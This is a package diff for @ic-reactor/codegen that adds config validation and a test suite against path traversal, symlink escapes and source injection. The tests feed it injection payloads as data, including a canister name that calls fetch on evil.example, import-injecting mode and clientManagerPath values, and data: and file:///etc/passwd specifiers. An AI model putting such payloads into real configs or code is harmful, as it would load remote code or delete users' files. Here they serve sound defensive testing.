@ic-reactor/codegen 0.11.1 → 0.12.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/src/pipeline.ts CHANGED
@@ -25,6 +25,7 @@ import {
25
25
  generateReactorEntryFile,
26
26
  generateReactorFile,
27
27
  } from "./generators/reactor.js"
28
+ import { assertSafeCanisterConfig, CodegenConfigError } from "./validate.js"
28
29
 
29
30
  export interface PipelineOptions {
30
31
  /** Canister name and config */
@@ -102,6 +103,37 @@ export async function runCanisterPipeline(
102
103
 
103
104
  const files: GeneratorResult[] = []
104
105
 
106
+ // ── Validate config ────────────────────────────────────────────────────────
107
+ //
108
+ // Runs before any filesystem work. `name`, `outDir` and `clientManagerPath`
109
+ // come from a checked-in config file, and downstream they become a directory
110
+ // this pipeline recursively deletes and source text it writes into the user's
111
+ // bundle — so they are validated here, at the choke point every entry path
112
+ // (CLI, vite plugin, direct API) goes through.
113
+ let validated: ReturnType<typeof assertSafeCanisterConfig>
114
+ try {
115
+ validated = assertSafeCanisterConfig({
116
+ name,
117
+ canisterOutDir: canisterConfig.outDir,
118
+ globalOutDir: globalConfig.outDir,
119
+ clientManagerPath:
120
+ clientManagerPath ?? globalConfig.clientManagerPath ?? "../../clients",
121
+ projectRoot,
122
+ mode: canisterConfig.mode,
123
+ target: canisterConfig.target ?? globalConfig.target,
124
+ })
125
+ } catch (err) {
126
+ if (err instanceof CodegenConfigError) {
127
+ return {
128
+ canisterName: typeof name === "string" ? name : String(name),
129
+ success: false,
130
+ files,
131
+ error: err.message,
132
+ }
133
+ }
134
+ throw err
135
+ }
136
+
105
137
  // ── Resolve paths ──────────────────────────────────────────────────────────
106
138
 
107
139
  const resolvedDidFile = path.isAbsolute(didFile)
@@ -117,17 +149,12 @@ export async function runCanisterPipeline(
117
149
  }
118
150
  }
119
151
 
120
- // Per-canister outDir overrides global outDir
121
- const canisterOutDir =
122
- canisterConfig.outDir != null
123
- ? path.isAbsolute(canisterConfig.outDir)
124
- ? canisterConfig.outDir
125
- : path.resolve(projectRoot, canisterConfig.outDir)
126
- : path.resolve(projectRoot, globalConfig.outDir, name)
152
+ // Per-canister outDir overrides global outDir; both are resolved and
153
+ // containment-checked by assertSafeCanisterConfig above.
154
+ const canisterOutDir = validated.outDir
127
155
 
128
156
  // clientManagerPath falls back to global, then a safe default
129
- const resolvedClientManagerPath =
130
- clientManagerPath ?? globalConfig.clientManagerPath ?? "../../clients"
157
+ const resolvedClientManagerPath = validated.clientManagerPath
131
158
 
132
159
  // ── Step 1: Declarations ───────────────────────────────────────────────────
133
160
 
@@ -1,5 +1,8 @@
1
1
  import { describe, expect, it } from "vitest"
2
- import { generateReactorEntryFile, generateReactorFile } from "./generators"
2
+ import {
3
+ generateReactorEntryFile,
4
+ generateReactorFile,
5
+ } from "./generators/index.js"
3
6
 
4
7
  describe("Reactor generator", () => {
5
8
  it("keeps default behavior as DisplayReactor", () => {
@@ -0,0 +1,393 @@
1
+ import { describe, expect, it, beforeEach, afterEach } from "vitest"
2
+ import fs from "node:fs"
3
+ import os from "node:os"
4
+ import path from "node:path"
5
+ import { runCanisterPipeline } from "./pipeline.js"
6
+ import {
7
+ assertSafeCanisterName,
8
+ assertSafeModuleSpecifier,
9
+ assertOneOf,
10
+ resolveContainedOutDir,
11
+ CodegenConfigError,
12
+ REACTOR_CLASS_NAMES,
13
+ } from "./validate.js"
14
+
15
+ const VALID_DID = "service : { greet : (text) -> (text) query; }\n"
16
+
17
+ let tmpRoot: string
18
+ let projectRoot: string
19
+
20
+ beforeEach(() => {
21
+ tmpRoot = fs.mkdtempSync(path.join(os.tmpdir(), "ic-reactor-validate-"))
22
+ projectRoot = path.join(tmpRoot, "project")
23
+ fs.mkdirSync(projectRoot, { recursive: true })
24
+ fs.writeFileSync(path.join(projectRoot, "backend.did"), VALID_DID)
25
+ })
26
+
27
+ afterEach(() => {
28
+ fs.rmSync(tmpRoot, { recursive: true, force: true })
29
+ })
30
+
31
+ function run(
32
+ canisterConfig: Record<string, unknown>,
33
+ globalConfig: Record<string, unknown> = {}
34
+ ) {
35
+ return runCanisterPipeline({
36
+ // eslint-disable-next-line @typescript-eslint/no-explicit-any
37
+ canisterConfig: { didFile: "./backend.did", ...canisterConfig } as any,
38
+ projectRoot,
39
+ globalConfig: {
40
+ outDir: "./src/declarations",
41
+ clientManagerPath: "../../clients",
42
+ ...globalConfig,
43
+ // eslint-disable-next-line @typescript-eslint/no-explicit-any
44
+ } as any,
45
+ })
46
+ }
47
+
48
+ describe("path containment (outDir escaping the project root)", () => {
49
+ it("refuses a relative outDir that escapes the project root, and deletes nothing", async () => {
50
+ const outside = path.join(tmpRoot, "outside")
51
+ const victim = path.join(outside, "declarations")
52
+ fs.mkdirSync(victim, { recursive: true })
53
+ fs.writeFileSync(path.join(victim, "user-data.txt"), "IRREPLACEABLE")
54
+
55
+ const result = await run({ name: "backend", outDir: "../outside" })
56
+
57
+ expect(result.success).toBe(false)
58
+ expect(result.error).toMatch(/outside the project root/)
59
+ // The pre-existing directory must be untouched.
60
+ expect(fs.existsSync(path.join(victim, "user-data.txt"))).toBe(true)
61
+ expect(fs.readFileSync(path.join(victim, "user-data.txt"), "utf-8")).toBe(
62
+ "IRREPLACEABLE"
63
+ )
64
+ })
65
+
66
+ it("refuses an absolute outDir pointing outside the project root", async () => {
67
+ const outside = path.join(tmpRoot, "abs-outside")
68
+ fs.mkdirSync(path.join(outside, "declarations"), { recursive: true })
69
+ fs.writeFileSync(path.join(outside, "declarations", "keep.txt"), "keep")
70
+
71
+ const result = await run({ name: "backend", outDir: outside })
72
+
73
+ expect(result.success).toBe(false)
74
+ expect(result.error).toMatch(/outside the project root/)
75
+ expect(fs.existsSync(path.join(outside, "declarations", "keep.txt"))).toBe(
76
+ true
77
+ )
78
+ })
79
+
80
+ it("refuses a canister name that traverses out of the global outDir", async () => {
81
+ const result = await run({ name: "../../../escape" })
82
+
83
+ expect(result.success).toBe(false)
84
+ expect(result.error).toMatch(/Invalid canister name/)
85
+ // Nothing may be written outside the project root.
86
+ expect(fs.existsSync(path.join(tmpRoot, "escape"))).toBe(false)
87
+ })
88
+
89
+ it("still accepts a normal relative outDir inside the project", async () => {
90
+ const result = await run({ name: "backend" })
91
+
92
+ expect(result.error).toBeUndefined()
93
+ expect(result.success).toBe(true)
94
+ const generated = path.join(
95
+ projectRoot,
96
+ "src/declarations/backend/declarations"
97
+ )
98
+ expect(fs.readdirSync(generated).sort()).toEqual([
99
+ "backend.d.ts",
100
+ "backend.did",
101
+ "backend.js",
102
+ ])
103
+ })
104
+ })
105
+
106
+ describe("source injection via config values", () => {
107
+ it("refuses a canister name that would break out of the emitted string literal", async () => {
108
+ const result = await run({
109
+ name: 'backend", stolen: (globalThis.fetch("https://evil.example")), z: "',
110
+ })
111
+
112
+ expect(result.success).toBe(false)
113
+ expect(result.error).toMatch(/Invalid canister name/)
114
+ })
115
+
116
+ it("refuses a clientManagerPath that is a remote URL", async () => {
117
+ const result = await run(
118
+ { name: "backend" },
119
+ { clientManagerPath: "https://evil.example/payload.js" }
120
+ )
121
+
122
+ expect(result.success).toBe(false)
123
+ expect(result.error).toMatch(/URLs are not allowed/)
124
+ })
125
+
126
+ it("refuses a per-canister clientManagerPath containing a quote", async () => {
127
+ const result = await run({
128
+ name: "backend",
129
+ clientManagerPath: '../clients"; import "https://evil.example/x.js',
130
+ })
131
+
132
+ expect(result.success).toBe(false)
133
+ expect(result.error).toMatch(/must not contain quotes/)
134
+ })
135
+
136
+ it("emits a JSON-quoted name for a legitimate canister name", async () => {
137
+ await run({ name: "my-canister" })
138
+
139
+ const generated = fs.readFileSync(
140
+ path.join(projectRoot, "src/declarations/my-canister/index.generated.ts"),
141
+ "utf-8"
142
+ )
143
+ expect(generated).toContain('name: "my-canister",')
144
+ expect(generated).toContain('import { clientManager } from "../../clients"')
145
+ })
146
+ })
147
+
148
+ describe("identifier validity (issue #299)", () => {
149
+ it("refuses a digit-leading name instead of emitting invalid TypeScript", async () => {
150
+ const result = await run({ name: "2048_game" })
151
+
152
+ expect(result.success).toBe(false)
153
+ // "2048_game" derives `2048GameReactor`, which is not a valid identifier.
154
+ expect(result.error).toMatch(/not a valid TypeScript identifier/)
155
+ expect(result.error).toContain("2048GameReactor")
156
+ })
157
+
158
+ it("refuses a punctuation-only name that would collapse to an empty stem", async () => {
159
+ for (const name of ["_", "--", "..."]) {
160
+ const result = await run({ name })
161
+ expect(result.success).toBe(false)
162
+ expect(result.error).toMatch(/collapses to an empty identifier/)
163
+ }
164
+ })
165
+
166
+ it("refuses a bare-digit name that derives a digit-leading identifier", async () => {
167
+ const result = await run({ name: "2048" })
168
+
169
+ expect(result.success).toBe(false)
170
+ expect(result.error).toMatch(/not a valid TypeScript identifier/)
171
+ })
172
+
173
+ it("still accepts dfx-legal names that derive valid identifiers", async () => {
174
+ // dfx places no pattern restriction on canister names, and all of these
175
+ // produced working output before validation existed.
176
+ for (const name of ["_private", "my.canister", "hello-world", "a1"]) {
177
+ const result = await run({ name })
178
+ expect(result.error).toBeUndefined()
179
+ expect(result.success).toBe(true)
180
+ }
181
+ })
182
+
183
+ it("names the offending canister in the error", async () => {
184
+ const result = await run({ name: "2048_game" })
185
+
186
+ expect(result.error).toContain("2048_game")
187
+ })
188
+ })
189
+
190
+ describe("bypasses found by adversarial review", () => {
191
+ it("refuses a symlink inside the project root that points outside it", async () => {
192
+ const victim = path.join(tmpRoot, "victim")
193
+ fs.mkdirSync(path.join(victim, "declarations"), { recursive: true })
194
+ fs.writeFileSync(
195
+ path.join(victim, "declarations", "IRREPLACEABLE.txt"),
196
+ "keep me"
197
+ )
198
+
199
+ // A symlink that lives inside the project but resolves outside it.
200
+ // path.resolve does not follow symlinks, so a lexical check passes here.
201
+ fs.symlinkSync(victim, path.join(projectRoot, "escape-hatch"))
202
+
203
+ const result = await run({ name: "backend", outDir: "./escape-hatch" })
204
+
205
+ expect(result.success).toBe(false)
206
+ expect(result.error).toMatch(/outside the project root/)
207
+ expect(
208
+ fs.existsSync(path.join(victim, "declarations", "IRREPLACEABLE.txt"))
209
+ ).toBe(true)
210
+ })
211
+
212
+ it("refuses a symlinked canister directory under the global outDir", async () => {
213
+ // The global-outDir branch appends the canister name AFTER resolving the
214
+ // parent, so checking only the parent leaves the final segment free to be a
215
+ // symlink out of the project.
216
+ const victim = path.join(tmpRoot, "victim")
217
+ fs.mkdirSync(path.join(victim, "declarations"), { recursive: true })
218
+ fs.writeFileSync(
219
+ path.join(victim, "declarations", "IRREPLACEABLE.txt"),
220
+ "keep me"
221
+ )
222
+
223
+ const declarations = path.join(projectRoot, "src", "declarations")
224
+ fs.mkdirSync(declarations, { recursive: true })
225
+ fs.symlinkSync(victim, path.join(declarations, "backend"))
226
+
227
+ const result = await run(
228
+ { name: "backend" },
229
+ { outDir: "src/declarations" }
230
+ )
231
+
232
+ expect(result.success).toBe(false)
233
+ expect(result.error).toMatch(/outside the project root/)
234
+ expect(
235
+ fs.existsSync(path.join(victim, "declarations", "IRREPLACEABLE.txt"))
236
+ ).toBe(true)
237
+ })
238
+
239
+ it("accepts a contained directory whose name merely begins with dots", async () => {
240
+ // "..generated" relativizes to "..generated", which a naive `..` prefix
241
+ // test rejects even though it is inside the project.
242
+ for (const outDir of ["..generated", "..secret/gen", "..a/b"]) {
243
+ const result = await run({ name: "backend" }, { outDir })
244
+ expect(result.error).toBeUndefined()
245
+ expect(result.success).toBe(true)
246
+ }
247
+ })
248
+
249
+ it("refuses an unknown mode instead of interpolating it into an import", async () => {
250
+ const result = await run({
251
+ name: "backend",
252
+ mode: 'DisplayReactor"\nimport "https://evil.example/pwn.js"\n//',
253
+ })
254
+
255
+ expect(result.success).toBe(false)
256
+ expect(result.error).toMatch(/Invalid mode/)
257
+ })
258
+
259
+ it("refuses an unknown target", async () => {
260
+ const result = await run({ name: "backend", target: "nodejs" })
261
+
262
+ expect(result.success).toBe(false)
263
+ expect(result.error).toMatch(/Invalid target/)
264
+ })
265
+
266
+ it("still accepts every documented mode and target", async () => {
267
+ for (const mode of REACTOR_CLASS_NAMES) {
268
+ const result = await run({ name: "backend", mode })
269
+ expect(result.error).toBeUndefined()
270
+ expect(result.success).toBe(true)
271
+ }
272
+ for (const target of ["react", "core"]) {
273
+ const result = await run({ name: "backend", target })
274
+ expect(result.error).toBeUndefined()
275
+ expect(result.success).toBe(true)
276
+ }
277
+ })
278
+
279
+ it("refuses a URL specifier hidden behind leading whitespace", async () => {
280
+ // URL parsing strips surrounding whitespace, so an anchored scheme check
281
+ // alone would let this through and it would still load remotely.
282
+ for (const spec of [
283
+ " https://evil.example/x.js",
284
+ " data:text/javascript,alert(1)",
285
+ "https://evil.example/x.js ",
286
+ ]) {
287
+ const result = await run({ name: "backend" }, { clientManagerPath: spec })
288
+ expect(result.success).toBe(false)
289
+ expect(result.error).toMatch(/whitespace|URLs are not allowed/)
290
+ }
291
+ })
292
+
293
+ it("returns a config error, not an uncaught TypeError, for a non-string outDir", async () => {
294
+ for (const outDir of [123, {}, [], true]) {
295
+ const result = await run({ name: "backend", outDir })
296
+ expect(result.success).toBe(false)
297
+ expect(result.error).toMatch(/expected a non-empty string/)
298
+ }
299
+ })
300
+
301
+ it("returns a config error for a non-string global outDir", async () => {
302
+ const result = await run({ name: "backend" }, { outDir: null })
303
+
304
+ expect(result.success).toBe(false)
305
+ expect(result.error).toMatch(/expected a non-empty string/)
306
+ })
307
+ })
308
+
309
+ describe("unit-level assertions", () => {
310
+ it("accepts every member of a closed set and rejects the rest", () => {
311
+ expect(() =>
312
+ assertOneOf("mode", "DisplayReactor", REACTOR_CLASS_NAMES)
313
+ ).not.toThrow()
314
+ for (const bad of ["displayreactor", "", undefined, null, 1, "Reactor "]) {
315
+ expect(() => assertOneOf("mode", bad, REACTOR_CLASS_NAMES)).toThrow(
316
+ CodegenConfigError
317
+ )
318
+ }
319
+ })
320
+
321
+ it("accepts conventional canister names", () => {
322
+ for (const name of [
323
+ "backend",
324
+ "my_canister",
325
+ "my-canister",
326
+ "a",
327
+ "Ledger",
328
+ "_private",
329
+ "my.canister",
330
+ ]) {
331
+ expect(() => assertSafeCanisterName(name)).not.toThrow()
332
+ }
333
+ })
334
+
335
+ it("rejects names that are path segments rather than canisters", () => {
336
+ for (const name of [".", ".."]) {
337
+ expect(() => assertSafeCanisterName(name)).toThrow(CodegenConfigError)
338
+ }
339
+ })
340
+
341
+ it("rejects non-string and empty names", () => {
342
+ for (const name of [undefined, null, 42, "", {}]) {
343
+ expect(() => assertSafeCanisterName(name)).toThrow(CodegenConfigError)
344
+ }
345
+ })
346
+
347
+ it("rejects names containing path separators", () => {
348
+ for (const name of ["a/b", "a\\b", "..", "../x", "ab"]) {
349
+ expect(() => assertSafeCanisterName(name)).toThrow(CodegenConfigError)
350
+ }
351
+ })
352
+
353
+ it("accepts relative and bare module specifiers", () => {
354
+ for (const spec of ["./clients", "../../clients", "@scope/pkg", "pkg"]) {
355
+ expect(() => assertSafeModuleSpecifier("p", spec)).not.toThrow()
356
+ }
357
+ })
358
+
359
+ it("rejects URL-ish and protocol-relative specifiers", () => {
360
+ for (const spec of [
361
+ "https://evil.example/x.js",
362
+ "http://evil.example/x.js",
363
+ "data:text/javascript,alert(1)",
364
+ "file:///etc/passwd",
365
+ "//evil.example/x.js",
366
+ ]) {
367
+ expect(() => assertSafeModuleSpecifier("p", spec)).toThrow(
368
+ CodegenConfigError
369
+ )
370
+ }
371
+ })
372
+
373
+ it("resolves a contained outDir to an absolute path", () => {
374
+ const root = path.join(tmpRoot, "root")
375
+ expect(resolveContainedOutDir("outDir", "./src/gen", root)).toBe(
376
+ path.join(root, "src/gen")
377
+ )
378
+ })
379
+
380
+ it("rejects an outDir that escapes via a symlink-free ..", () => {
381
+ const root = path.join(tmpRoot, "root")
382
+ expect(() => resolveContainedOutDir("outDir", "../sneaky", root)).toThrow(
383
+ CodegenConfigError
384
+ )
385
+ })
386
+
387
+ it("does not treat a sibling directory with a shared prefix as contained", () => {
388
+ const root = path.join(tmpRoot, "root")
389
+ expect(() =>
390
+ resolveContainedOutDir("outDir", "../root-evil", root)
391
+ ).toThrow(CodegenConfigError)
392
+ })
393
+ })